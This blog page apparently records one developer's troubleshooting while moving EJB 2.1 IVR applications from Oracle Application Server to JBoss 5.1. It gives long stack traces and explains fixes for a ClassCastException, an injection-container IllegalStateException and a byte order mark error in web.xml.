Michaelzanussi.com header image

On Home Interfaces and ClassCastExceptions

I have an application that now deploys without error on the JBoss application server. I knew there would be some tweaks required to migrate our IVR apps to JBoss over from Oracle application server, and up to this point those changes have been limited to web.xml.

It doesn’t take long, though, for another issue to popup, having received the following exception at the start of my first functional test of the EJBs:

2010-08-12 05:41:57,620 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[localhost].[/michael].[jsp]] (http-127.0.0.1-8080-2) Servlet.service() for servlet jsp threw exception
java.lang.ClassCastException: $Proxy273 cannot be cast to com.michaelzanussi.ivr.ejb.ColbertEJBHome
at org.apache.jsp.start_jsp._jspService(start_jsp.java:88)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:369)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:322)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:249)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:235)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:190)
at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:92)
at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.process(SecurityContextEstablishmentValve.java:126)
at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.invoke(SecurityContextEstablishmentValve.java:70)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)
at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:158)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:330)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:829)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447)
at java.lang.Thread.run(Thread.java:619)

What’s going on here? Getting the initial context and a reference to the home object works fine, but when I try to cast the object to its home interface, it throws the ClassCastException. The code is pretty straightforward, here’s a snippet:

InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ColbertEJB");
ColbertEJBHome ceh = (ColbertEJBHome)obj;

A simple Google search would help to resolve this issue, here’s the relevant information from JBoss community:

This is also the standard situation when you are trying to lookup/cast your EJB3 bean and get the ClassCastException. This often happens when you have ear1.ear with your EJB beans and ear2.ear or webapp.war deployed into the same server with CLIENT STUBS.

Please note that client stubs are useful ONLY in the case of remote deployment. When using local interfaces do the following:

1. REMOVE client stubs from ear2.ear/webapp.war/whatever

2. Configure the same loader repository for both ear1.ear and ear2.ear/webapp.war

Yet another example of how application servers differ. In this case, JBoss doesn’t like that I have client stubs in my application EAR, which OAS insisted I have. No modifications to web.xml this time, the solution here required a change to build.xml to remove the code which added client stubs to the EAR file. Once removed, the exception went away.

Resolution should not happen via injection container

Continuing the IVR migration from Oracle AS to JBoss, in my previous post I figured out the byte order mark problem. With that resolved, now I’ve got to figure out the IllegalStateException I’m now getting deploying the application:

2010-08-11 12:55:59,725 WARN  [org.jboss.deployment.MappedReferenceMetaDataResolverDeployer] (HDScanner) Unresolved references exist in JBossWebMetaData:[michael.war#web-app:EJBReferenceMetaData{name=ejb/RepudiateEJB,ejb-ref-type=Session,link=RepudiateEJB,ignore-dependecy=false,jndi-name=null,resolvoed-jndi-name=null,remote=com.pnm.csivr.ejb.RepudiateEJB,home=com.pnm.csivr.ejb.RepudiateEJBHome,invoker-bindngs=null}, michael.war#web-app:EJBReferenceMetaData{name=ejb/ContangoEJB,ejb-ref-type=Session,link=ContangoEJB,ignore-dependecy=false,jndi-name=null,resolvoed-jndi-name=null,remote=com.pnm.csivr.ejb.ContangoEJB,home=com.pnm.csivr.ejb.ContangoEJBHome,invoker-bindngs=null}]
2010-08-11 12:55:59,990 INFO  [org.jboss.web.tomcat.service.deployers.TomcatDeployment] (HDScanner) deploy, ctxPath=/michael
2010-08-11 12:56:00,100 WARN  [org.jboss.web.tomcat.service.injection.WebEJBRemoteHandler] (HDScanner) EJBTHREE-1289: Using legacy EjbEncInjector, because mappedName for enc "env/ejb/RepudiateEJB", field "null" is null (container.environmentRefGroup.annotatedEjbReferences = null)
2010-08-11 12:56:00,146 WARN  [org.jboss.web.tomcat.service.injection.WebEJBRemoteHandler] (HDScanner) EJBTHREE-1289: Using legacy EjbEncInjector, because mappedName for enc "env/ejb/ContangoEJB", field "null" is null (container.environmentRefGroup.annotatedEjbReferences = null)
2010-08-11 12:56:00,178 ERROR [org.jboss.web.tomcat.service.deployers.TomcatDeployment] (HDScanner) ENC setup failed
java.lang.IllegalStateException: Resolution should not happen via injection container
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.getEjbJndiName(TomcatInjectionContainer.java:645)
	at org.jboss.injection.EjbEncInjector.inject(EjbEncInjector.java:72)
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.populateEnc(TomcatInjectionContainer.java:482)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment$EncListener.lifecycleEvent(TomcatDeployment.java:471)
	at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:117)
	at org.apache.catalina.core.StandardContext.start(StandardContext.java:4388)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(TomcatDeployment.java:310)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeploy(TomcatDeployment.java:142)
	at org.jboss.web.deployers.AbstractWarDeployment.start(AbstractWarDeployment.java:461)
	at org.jboss.web.deployers.WebModule.startModule(WebModule.java:118)
	at org.jboss.web.deployers.WebModule.start(WebModule.java:97)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
	at java.lang.reflect.Method.invoke(Method.java:597)
	at org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:157)
	at org.jboss.mx.server.Invocation.dispatch(Invocation.java:96)
	at org.jboss.mx.server.Invocation.invoke(Invocation.java:88)
	at org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264)
	at org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:668)
	at org.jboss.system.microcontainer.ServiceProxy.invoke(ServiceProxy.java:206)
	at $Proxy38.start(Unknown Source)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:42)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:37)
	at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62)
	at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71)
	at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.system.microcontainer.ServiceControllerContext.install(ServiceControllerContext.java:286)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.system.ServiceController.doChange(ServiceController.java:688)
	at org.jboss.system.ServiceController.start(ServiceController.java:460)
	at org.jboss.system.deployers.ServiceDeployer.start(ServiceDeployer.java:163)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:99)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:46)
	at org.jboss.deployers.spi.deployer.helpers.AbstractSimpleRealDeployer.internalDeploy(AbstractSimpleRealDeployer.java:62)
	at org.jboss.deployers.spi.deployer.helpers.AbstractRealDeployer.deploy(AbstractRealDeployer.java:50)
	at org.jboss.deployers.plugins.deployers.DeployerWrapper.deploy(DeployerWrapper.java:171)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doDeploy(DeployersImpl.java:1439)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1157)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1178)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1210)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.install(DeployersImpl.java:1098)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.process(DeployersImpl.java:781)
	at org.jboss.deployers.plugins.main.MainDeployerImpl.process(MainDeployerImpl.java:702)
	at org.jboss.system.server.profileservice.repository.MainDeployerAdapter.process(MainDeployerAdapter.java:117)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.scan(HDScanner.java:362)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.run(HDScanner.java:255)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441)
	at java.util.concurrent.FutureTask$Sync.innerRunAndReset(FutureTask.java:317)
	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:150)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:98)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.runPeriodic(ScheduledThreadPoolExecutor.java:181)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:205)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:619)
2010-08-11 12:56:00,318 ERROR [org.jboss.kernel.plugins.dependency.AbstractKernelController] (HDScanner) Error installing to Start: name=jboss.web.deployment:war=/michael state=Create mode=Manual requiredState=Installed
org.jboss.deployers.spi.DeploymentException: URL file:/C:/jboss-5.1.0.GA/server/default/tmp/a2u65-g27x2f-gcq91o01-1-gcqjjke4-9t/michael.war/ deployment failed
	at org.jboss.deployers.spi.DeploymentException.rethrowAsDeploymentException(DeploymentException.java:49)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(TomcatDeployment.java:316)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeploy(TomcatDeployment.java:142)
	at org.jboss.web.deployers.AbstractWarDeployment.start(AbstractWarDeployment.java:461)
	at org.jboss.web.deployers.WebModule.startModule(WebModule.java:118)
	at org.jboss.web.deployers.WebModule.start(WebModule.java:97)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
	at java.lang.reflect.Method.invoke(Method.java:597)
	at org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:157)
	at org.jboss.mx.server.Invocation.dispatch(Invocation.java:96)
	at org.jboss.mx.server.Invocation.invoke(Invocation.java:88)
	at org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264)
	at org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:668)
	at org.jboss.system.microcontainer.ServiceProxy.invoke(ServiceProxy.java:206)
	at $Proxy38.start(Unknown Source)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:42)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:37)
	at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62)
	at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71)
	at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.system.microcontainer.ServiceControllerContext.install(ServiceControllerContext.java:286)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.system.ServiceController.doChange(ServiceController.java:688)
	at org.jboss.system.ServiceController.start(ServiceController.java:460)
	at org.jboss.system.deployers.ServiceDeployer.start(ServiceDeployer.java:163)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:99)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:46)
	at org.jboss.deployers.spi.deployer.helpers.AbstractSimpleRealDeployer.internalDeploy(AbstractSimpleRealDeployer.java:62)
	at org.jboss.deployers.spi.deployer.helpers.AbstractRealDeployer.deploy(AbstractRealDeployer.java:50)
	at org.jboss.deployers.plugins.deployers.DeployerWrapper.deploy(DeployerWrapper.java:171)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doDeploy(DeployersImpl.java:1439)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1157)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1178)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1210)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.install(DeployersImpl.java:1098)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.process(DeployersImpl.java:781)
	at org.jboss.deployers.plugins.main.MainDeployerImpl.process(MainDeployerImpl.java:702)
	at org.jboss.system.server.profileservice.repository.MainDeployerAdapter.process(MainDeployerAdapter.java:117)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.scan(HDScanner.java:362)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.run(HDScanner.java:255)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441)
	at java.util.concurrent.FutureTask$Sync.innerRunAndReset(FutureTask.java:317)
	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:150)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:98)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.runPeriodic(ScheduledThreadPoolExecutor.java:181)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:205)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:619)
Caused by: java.lang.RuntimeException: java.lang.IllegalStateException: Resolution should not happen via injection container
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment$EncListener.lifecycleEvent(TomcatDeployment.java:483)
	at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:117)
	at org.apache.catalina.core.StandardContext.start(StandardContext.java:4388)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(TomcatDeployment.java:310)
	... 62 more
Caused by: java.lang.IllegalStateException: Resolution should not happen via injection container
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.getEjbJndiName(TomcatInjectionContainer.java:645)
	at org.jboss.injection.EjbEncInjector.inject(EjbEncInjector.java:72)
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.populateEnc(TomcatInjectionContainer.java:482)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment$EncListener.lifecycleEvent(TomcatDeployment.java:471)
	... 65 more
2010-08-11 12:56:00,912 ERROR [org.jboss.kernel.plugins.dependency.AbstractKernelController] (HDScanner) Error installing to Real: name=vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/ state=PreReal mode=Manual requiredState=Real
org.jboss.deployers.spi.DeploymentException: URL file:/C:/jboss-5.1.0.GA/server/default/tmp/a2u65-g27x2f-gcq91o01-1-gcqjjke4-9t/michael.war/ deployment failed
	at org.jboss.deployers.spi.DeploymentException.rethrowAsDeploymentException(DeploymentException.java:49)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(TomcatDeployment.java:316)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeploy(TomcatDeployment.java:142)
	at org.jboss.web.deployers.AbstractWarDeployment.start(AbstractWarDeployment.java:461)
	at org.jboss.web.deployers.WebModule.startModule(WebModule.java:118)
	at org.jboss.web.deployers.WebModule.start(WebModule.java:97)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
	at java.lang.reflect.Method.invoke(Method.java:597)
	at org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:157)
	at org.jboss.mx.server.Invocation.dispatch(Invocation.java:96)
	at org.jboss.mx.server.Invocation.invoke(Invocation.java:88)
	at org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264)
	at org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:668)
	at org.jboss.system.microcontainer.ServiceProxy.invoke(ServiceProxy.java:206)
	at $Proxy38.start(Unknown Source)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:42)
	at org.jboss.system.microcontainer.StartStopLifecycleAction.installAction(StartStopLifecycleAction.java:37)
	at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62)
	at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71)
	at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.system.microcontainer.ServiceControllerContext.install(ServiceControllerContext.java:286)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.system.ServiceController.doChange(ServiceController.java:688)
	at org.jboss.system.ServiceController.start(ServiceController.java:460)
	at org.jboss.system.deployers.ServiceDeployer.start(ServiceDeployer.java:163)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:99)
	at org.jboss.system.deployers.ServiceDeployer.deploy(ServiceDeployer.java:46)
	at org.jboss.deployers.spi.deployer.helpers.AbstractSimpleRealDeployer.internalDeploy(AbstractSimpleRealDeployer.java:62)
	at org.jboss.deployers.spi.deployer.helpers.AbstractRealDeployer.deploy(AbstractRealDeployer.java:50)
	at org.jboss.deployers.plugins.deployers.DeployerWrapper.deploy(DeployerWrapper.java:171)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doDeploy(DeployersImpl.java:1439)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1157)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1178)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.doInstallParentFirst(DeployersImpl.java:1210)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.install(DeployersImpl.java:1098)
	at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:348)
	at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:1631)
	at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:934)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1082)
	at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:984)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:822)
	at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:553)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.process(DeployersImpl.java:781)
	at org.jboss.deployers.plugins.main.MainDeployerImpl.process(MainDeployerImpl.java:702)
	at org.jboss.system.server.profileservice.repository.MainDeployerAdapter.process(MainDeployerAdapter.java:117)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.scan(HDScanner.java:362)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.run(HDScanner.java:255)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441)
	at java.util.concurrent.FutureTask$Sync.innerRunAndReset(FutureTask.java:317)
	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:150)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:98)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.runPeriodic(ScheduledThreadPoolExecutor.java:181)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:205)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:619)
Caused by: java.lang.RuntimeException: java.lang.IllegalStateException: Resolution should not happen via injection container
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment$EncListener.lifecycleEvent(TomcatDeployment.java:483)
	at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:117)
	at org.apache.catalina.core.StandardContext.start(StandardContext.java:4388)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment.performDeployInternal(TomcatDeployment.java:310)
	... 62 more
Caused by: java.lang.IllegalStateException: Resolution should not happen via injection container
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.getEjbJndiName(TomcatInjectionContainer.java:645)
	at org.jboss.injection.EjbEncInjector.inject(EjbEncInjector.java:72)
	at org.jboss.web.tomcat.service.TomcatInjectionContainer.populateEnc(TomcatInjectionContainer.java:482)
	at org.jboss.web.tomcat.service.deployers.TomcatDeployment$EncListener.lifecycleEvent(TomcatDeployment.java:471)
	... 65 more
2010-08-11 12:56:01,053 WARN  [org.jboss.system.server.profileservice.hotdeploy.HDScanner] (HDScanner) Failed to process changes
org.jboss.deployers.client.spi.IncompleteDeploymentException: Summary of incomplete deployments (SEE PREVIOUS ERRORS FOR DETAILS):

*** DEPLOYMENTS IN ERROR: Name -> Error

vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/ -> org.jboss.deployers.spi.DeploymentException: URL file:/C:/jboss-5.1.0.GA/server/default/tmp/a2u65-g27x2f-gcq91o01-1-gcqjjke4-9t/michael.war/ deployment failed

DEPLOYMENTS IN ERROR:
  Deployment "vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/" is in error due to the following reason(s): java.lang.IllegalStateException: Resolution should not happen via injection container

	at org.jboss.deployers.plugins.deployers.DeployersImpl.checkComplete(DeployersImpl.java:993)
	at org.jboss.deployers.plugins.deployers.DeployersImpl.checkComplete(DeployersImpl.java:939)
	at org.jboss.deployers.plugins.main.MainDeployerImpl.checkComplete(MainDeployerImpl.java:873)
	at org.jboss.system.server.profileservice.repository.MainDeployerAdapter.checkComplete(MainDeployerAdapter.java:128)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.scan(HDScanner.java:369)
	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.run(HDScanner.java:255)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441)
	at java.util.concurrent.FutureTask$Sync.innerRunAndReset(FutureTask.java:317)
	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:150)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:98)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.runPeriodic(ScheduledThreadPoolExecutor.java:181)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:205)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:619)

It’s a problem with our EJBs. Now, these are EJB 2.1, but I don’t want to look at converting them to EJB 3.0 just yet. Besides, JBoss 5.1 is supposed to handle them just fine and they deployed without complaint yesterday.

The culprit, however, turned out to be in web.xml:

	<ejb-ref>
		<ejb-ref-name>ejb/RepudiateEJB</ejb-ref-name>
		<ejb-ref-type>Session</ejb-ref-type>
		<home>com.pnm.csivr.ejb.RepudiateEJBHome</home>
		<remote>com.pnm.csivr.ejb.RepudiateEJB</remote>
		<ejb-link>RepudiateEJB</ejb-link>
	</ejb-ref>

	<ejb-ref>
		<ejb-ref-name>ejb/ContangoEJB</ejb-ref-name>
		<ejb-ref-type>Session</ejb-ref-type>
		<home>com.pnm.csivr.ejb.ContangoEJBHome</home>
		<remote>com.pnm.csivr.ejb.ContangoEJB</remote>
		<ejb-link>ContangoEJB</ejb-link>
	</ejb-ref>

It would seem that while OAS requires this in web.xml it causes problems in JBoss.

So out it goes, and on with the migration. The application now deploys error free:

Byte Order Mark

I’m currently investigating migrating our IVR applications from Oracle Application Server to JBoss. One of the first errors I’ve run across is with web.xml, specifically SAX issues related to “Content is not allowed in prolog”:

2010-08-10 13:04:57,305 WARN  [org.jboss.system.server.profileservice.hotdeploy.HDScanner] (HDScanner) Failed to process changes

org.jboss.deployers.client.spi.IncompleteDeploymentException: Summary of incomplete deployments (SEE PREVIOUS ERRORS FOR DETAILS):

*** DEPLOYMENTS IN ERROR: Name -> Error

vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/ -> org.jboss.deployers.spi.DeploymentException: Error creating managed object for vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/michael.war/

DEPLOYMENTS IN ERROR:

  Deployment "vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/" is in error due to the following reason(s): org.xml.sax.SAXException: Content is not allowed in prolog. @ vfszip:/C:/jboss-5.1.0.GA/server/default/deploy/michael.ear/michael.war/WEB-INF/web.xml[1,1]

	at org.jboss.deployers.plugins.deployers.DeployersImpl.checkComplete(DeployersImpl.java:993)

	at org.jboss.deployers.plugins.deployers.DeployersImpl.checkComplete(DeployersImpl.java:939)

	at org.jboss.deployers.plugins.main.MainDeployerImpl.checkComplete(MainDeployerImpl.java:873)

	at org.jboss.system.server.profileservice.repository.MainDeployerAdapter.checkComplete(MainDeployerAdapter.java:128)

	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.scan(HDScanner.java:369)

	at org.jboss.system.server.profileservice.hotdeploy.HDScanner.run(HDScanner.java:255)

	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441)

